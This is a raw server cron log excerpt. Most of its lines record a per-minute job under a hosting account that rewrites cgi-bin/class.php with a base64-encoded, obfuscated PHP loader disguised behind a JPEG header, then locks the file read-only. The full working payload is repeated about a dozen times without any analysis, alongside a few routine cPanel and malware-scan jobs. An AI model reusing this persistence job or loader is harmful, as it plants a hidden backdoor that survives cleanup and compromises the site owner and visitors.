Nov 13 22:31:01 server CROND[30938]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:32:01 server CROND[31965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:33:01 server CROND[378]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:34:01 server CROND[1264]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:35:01 server CROND[2006]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:35:01 server CROND[2010]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 13 22:35:01 server CROND[2008]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:35:01 server CROND[2017]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:35:01 server CROND[2016]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov 13 22:36:01 server CROND[3049]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:37:01 server CROND[3921]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:38:01 server CROND[4799]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:39:01 server CROND[5664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:39:01 server CROND[5665]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 13 22:40:01 server CROND[6543]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 13 22:40:01 server CROND[6544]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:40:01 server CROND[6545]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 13 22:40:01 server CROND[6546]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 13 22:41:01 server CROND[6964]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:42:01 server CROND[7835]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 13 22:42:01 server CROND[7836]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 13 22:43:01 server CROND[8781]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
